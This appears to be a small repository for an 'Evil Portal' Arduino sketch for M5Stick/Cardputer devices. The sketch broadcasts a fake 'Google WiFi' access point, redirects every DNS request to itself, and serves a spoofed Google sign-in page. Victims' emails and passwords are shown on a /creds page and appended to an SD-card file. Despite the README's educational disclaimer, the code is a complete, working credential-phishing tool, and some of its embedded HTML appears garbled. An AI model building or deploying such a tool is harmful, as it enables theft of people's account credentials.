├── .gitignore ├── README.md └── evil-portal └── evil-portal.ino /.gitignore: -------------------------------------------------------------------------------- 1 | **/build 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Evil Portal :: M5 Stick C Plus / M5 Cardputer 2 | `DISCLAIMER: This is for educational purposes only. Extracting passwords from unaware victims is illegal` 3 | 4 | ## Story 5 | 6 | A Wi-Fi honeypot is a fake wireless network that is set up to lure unsuspecting users and collect their data or infect their devices with malware. It is a common technique used by hackers and cybercriminals to exploit the public’s demand for free Wi-Fi access. 7 | 8 | # PTBR - 🇧🇷 9 | 10 | Projeto com o intuito de ser apenas educacional, não me responsabilizando pelos atos cometidos por terceiros, o código esta configurado com um exemplo. -------------------------------------------------------------------------------- /evil-portal/evil-portal.ino: -------------------------------------------------------------------------------- 1 | // Based on https://github.com/n0xa/M5Stick-Stuph/blob/main/CaptPort/CaptPort.ino 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | // #define M5STICKCPLUS 8 | #define M5CARDPUTER 9 | 10 | #if defined(M5STICKCPLUS) && defined(M5CARDPUTER) 11 | #error "Please define only one platform: M5STICKCPLUS or M5CARDPUTER" 12 | #endif 13 | 14 | #if defined(M5STICKCPLUS) 15 | #define DISPLAY M5.Lcd 16 | #define SPEAKER M5.Beep 17 | #define HAS_LED 10 // Number is equivalent to GPIO 18 | #define GPIO_LED 10 19 | // #define HAS_SDCARD 20 | #define SD_CLK_PIN 0 21 | #define SD_MISO_PIN 36 //25 22 | #define SD_MOSI_PIN 26 23 | // #define SD_CS_PIN 24 | #endif 25 | 26 | #if defined(M5CARDPUTER) 27 | #define DISPLAY M5Cardputer.Display 28 | #define SPEAKER M5Cardputer.Speaker 29 | #define KB M5Cardputer.Keyboard 30 | #define HAS_SDCARD 31 | #define SD_CLK_PIN 40 32 | #define SD_MISO_PIN 39 33 | #define SD_MOSI_PIN 14 34 | #define SD_CS_PIN 12 35 | #endif 36 | 37 | #if defined(HAS_SDCARD) 38 | #include 39 | #include 40 | #include 41 | #endif 42 | 43 | #if defined(M5STICKCPLUS) 44 | #include 45 | #elif defined(M5CARDPUTER) 46 | #include 47 | #endif 48 | 49 | #define DEFAULT_AP_SSID_NAME "Google WiFi" 50 | #define SD_CREDS_PATH "/evil-portal-creds.txt" 51 | // #define LANGUAGE_EN_US 52 | #define LANGUAGE_PT_BR 53 | 54 | #if defined(LANGUAGE_EN_US) && defined(LANGUAGE_PT_BR) 55 | #error "Please define only one language: LANGUAGE_EN_US or LANGUAGE_PT_BR" 56 | #endif 57 | 58 | #if defined(LANGUAGE_EN_US) 59 | #define LOGIN_TITLE "Sign in" 60 | #define LOGIN_SUBTITLE "Use your Google Account" 61 | #define LOGIN_EMAIL_PLACEHOLDER "Email" 62 | #define LOGIN_PASSWORD_PLACEHOLDER "Password" 63 | #define LOGIN_MESSAGE "Please log in to browse securely." 64 | #define LOGIN_BUTTON "Next" 65 | #define LOGIN_AFTER_MESSAGE "Please wait a few minutes. Soon you will be able to access the internet." 66 | #elif defined(LANGUAGE_PT_BR) 67 | #define LOGIN_TITLE "Fazer login" 68 | #define LOGIN_SUBTITLE "Use sua Conta do Google" 69 | #define LOGIN_EMAIL_PLACEHOLDER "E-mail" 70 | #define LOGIN_PASSWORD_PLACEHOLDER "Senha" 71 | #define LOGIN_MESSAGE "Por favor, faça login para navegar de forma segura." 72 | #define LOGIN_BUTTON "Avançar" 73 | #define LOGIN_AFTER_MESSAGE "Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet." 74 | #endif 75 | 76 | int totalCapturedCredentials = 0; 77 | int previousTotalCapturedCredentials = -1; // stupid hack but wtfe 78 | String capturedCredentialsHtml = ""; 79 | bool sdcardMounted = false; 80 | String apSsidName = String(DEFAULT_AP_SSID_NAME); 81 | 82 | #if defined(HAS_SDCARD) 83 | SPIClass* sdcardSPI = NULL; 84 | SemaphoreHandle_t sdcardSemaphore; 85 | #endif 86 | 87 | // Init System Settings 88 | const byte HTTP_CODE = 200; 89 | const byte DNS_PORT = 53; 90 | const byte TICK_TIMER = 1000; 91 | IPAddress AP_GATEWAY(172, 0, 0, 1); // Gateway 92 | unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0; 93 | DNSServer dnsServer; 94 | WebServer webServer(80); 95 | 96 | void setup() { 97 | setupDeviceSettings(); 98 | setupWiFi(); 99 | setupWebServer(); 100 | setupSdCard(); 101 | 102 | bootTime = lastActivity = millis(); 103 | } 104 | 105 | void setupDeviceSettings() { 106 | Serial.begin(115200); 107 | while (!Serial && millis() < 1000) 108 | ; 109 | 110 | #if defined(M5STICKCPLUS) 111 | M5.begin(); 112 | DISPLAY.setRotation(3); 113 | #elif defined(M5CARDPUTER) 114 | M5Cardputer.begin(); 115 | DISPLAY.setRotation(1); 116 | #endif 117 | 118 | #if defined(HAS_LED) 119 | pinMode(GPIO_LED, OUTPUT); 120 | digitalWrite(GPIO_LED, HIGH); 121 | #endif 122 | 123 | DISPLAY.fillScreen(BLACK); 124 | DISPLAY.setSwapBytes(true); 125 | DISPLAY.setTextSize(2); 126 | } 127 | 128 | bool setupSdCard() { 129 | #if defined(HAS_SDCARD) 130 | sdcardSemaphore = xSemaphoreCreateMutex(); 131 | sdcardSPI = new SPIClass(FSPI); 132 | sdcardSPI->begin(SD_CLK_PIN, SD_MISO_PIN, SD_MOSI_PIN, SD_CS_PIN); 133 | 134 | delay(10); 135 | 136 | if (!SD.begin(SD_CS_PIN, *sdcardSPI)) { 137 | Serial.println("Failed to mount SDCARD"); 138 | return false; 139 | } else { 140 | Serial.println("SDCARD mounted successfully"); 141 | sdcardMounted = true; 142 | return true; 143 | } 144 | #endif 145 | } 146 | 147 | void setupWiFi() { 148 | WiFi.mode(WIFI_AP); 149 | WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0)); 150 | WiFi.softAP(apSsidName); 151 | } 152 | 153 | void setupWebServer() { 154 | dnsServer.start(DNS_PORT, "*", AP_GATEWAY); // DNS spoofing (Only HTTP) 155 | 156 | webServer.on("/post", []() { 157 | totalCapturedCredentials = totalCapturedCredentials + 1; 158 | 159 | webServer.send(HTTP_CODE, "text/html", index_POST()); 160 | 161 | #if defined(M5STICKCPLUS) 162 | SPEAKER.tone(4000); 163 | #elif defined(M5CARDPUTER) 164 | SPEAKER.tone(4000, 50); 165 | #endif 166 | 167 | DISPLAY.print("Victim Login"); 168 | 169 | delay(50); 170 | 171 | #if defined(M5STICKCPLUS) 172 | SPEAKER.mute(); 173 | #endif 174 | 175 | DISPLAY.fillScreen(BLACK); 176 | 177 | #if defined(HAS_LED) 178 | blinkLed(); 179 | #endif 180 | }); 181 | 182 | webServer.on("/creds", []() { 183 | webServer.send(HTTP_CODE, "text/html", creds_GET()); 184 | }); 185 | 186 | webServer.on("/clear", []() { 187 | webServer.send(HTTP_CODE, "text/html", clear_GET()); 188 | }); 189 | 190 | webServer.onNotFound([]() { 191 | lastActivity = millis(); 192 | webServer.send(HTTP_CODE, "text/html", index_GET()); 193 | }); 194 | 195 | webServer.begin(); 196 | } 197 | 198 | void loop() { 199 | if ((millis() - lastTick) > TICK_TIMER) { 200 | 201 | lastTick = millis(); 202 | 203 | if (totalCapturedCredentials != previousTotalCapturedCredentials) { 204 | previousTotalCapturedCredentials = totalCapturedCredentials; 205 | 206 | printHomeToScreen(); 207 | } 208 | } 209 | 210 | dnsServer.processNextRequest(); 211 | webServer.handleClient(); 212 | } 213 | 214 | void printHomeToScreen() { 215 | DISPLAY.fillScreen(BLACK); 216 | DISPLAY.setSwapBytes(true); 217 | DISPLAY.setTextSize(2); 218 | DISPLAY.setTextColor(TFT_RED, TFT_BLACK); 219 | DISPLAY.setCursor(0, 10); 220 | DISPLAY.print("EVIL PORTAL"); 221 | DISPLAY.setTextColor(TFT_GREEN, TFT_BLACK); 222 | DISPLAY.setCursor(0, 35); 223 | DISPLAY.print("WiFi IP: "); 224 | DISPLAY.println(AP_GATEWAY); 225 | DISPLAY.printf("SSID: "); //, apSsidName); 226 | DISPLAY.print(apSsidName); 227 | DISPLAY.println(""); 228 | DISPLAY.printf("Victim Count: %d\n", totalCapturedCredentials); 229 | } 230 | 231 | String getInputValue(String argName) { 232 | String a = webServer.arg(argName); 233 | a.replace("<", "<"); 234 | a.replace(">", ">"); 235 | a.substring(0, 200); 236 | return a; 237 | } 238 | 239 | String getHtmlContents(String body) { 240 | String html = 241 | "" 242 | "" 243 | "" 244 | " " 245 | + apSsidName + "" 246 | " " 247 | " " 248 | " " 249 | "" 250 | "" 251 | "
" 252 | "
" 253 | " " 254 | " " 255 | "
" 256 | "
" 257 | "
" 258 | " " 259 | "
" 260 | "
" 261 | + body + "
" 262 | "
" 263 | "
" 264 | "" 265 | ""; 266 | return html; 267 | } 268 | 269 | String creds_GET() { 270 | return getHtmlContents("
    " + capturedCredentialsHtml + "

Back to Index

Clear passwords

"); 271 | } 272 | 273 | String index_GET() { 274 | String loginTitle = String(LOGIN_TITLE); 275 | String loginSubTitle = String(LOGIN_SUBTITLE); 276 | String loginEmailPlaceholder = String(LOGIN_EMAIL_PLACEHOLDER); 277 | String loginPasswordPlaceholder = String(LOGIN_PASSWORD_PLACEHOLDER); 278 | String loginMessage = String(LOGIN_MESSAGE); 279 | String loginButton = String(LOGIN_BUTTON); 280 | 281 | return getHtmlContents("
" + loginTitle + "
" + loginSubTitle + "
" + loginMessage + "
"); 282 | } 283 | 284 | String index_POST() { 285 | String email = getInputValue("email"); 286 | String password = getInputValue("password"); 287 | capturedCredentialsHtml = "
  • Email: " + email + "
    Password: " + password + "
  • " + capturedCredentialsHtml; 288 | 289 | #if defined(HAS_SDCARD) 290 | appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str()); 291 | #endif 292 | 293 | return getHtmlContents(LOGIN_AFTER_MESSAGE); 294 | } 295 | 296 | String clear_GET() { 297 | String email = "

    "; 298 | String password = "

    "; 299 | capturedCredentialsHtml = "

    "; 300 | totalCapturedCredentials = 0; 301 | return getHtmlContents("

    The credentials list has been reset.

    Back to capturedCredentialsHtml
    Back to Index
    "); 302 | } 303 | 304 | #if defined(HAS_LED) 305 | 306 | void blinkLed() { 307 | int count = 0; 308 | 309 | while (count < 5) { 310 | digitalWrite(GPIO_LED, LOW); 311 | delay(500); 312 | digitalWrite(GPIO_LED, HIGH); 313 | delay(500); 314 | count = count + 1; 315 | } 316 | } 317 | 318 | #endif 319 | 320 | #if defined(HAS_SDCARD) 321 | 322 | void appendToFile(fs::FS& fs, const char* path, const char* text) { 323 | if (xSemaphoreTake(sdcardSemaphore, portMAX_DELAY) == pdTRUE) { 324 | File file = fs.open(path, FILE_APPEND); 325 | 326 | if (!file) { 327 | Serial.println("Failed to open file for appending"); 328 | xSemaphoreGive(sdcardSemaphore); 329 | return; 330 | } 331 | 332 | Serial.printf("Appending text '%s' to file: %s\n", text, path); 333 | 334 | if (file.println(text)) { 335 | Serial.println("Text appended"); 336 | } else { 337 | Serial.println("Append failed"); 338 | } 339 | 340 | file.close(); 341 | 342 | xSemaphoreGive(sdcardSemaphore); 343 | } 344 | } 345 | 346 | #endif 347 | --------------------------------------------------------------------------------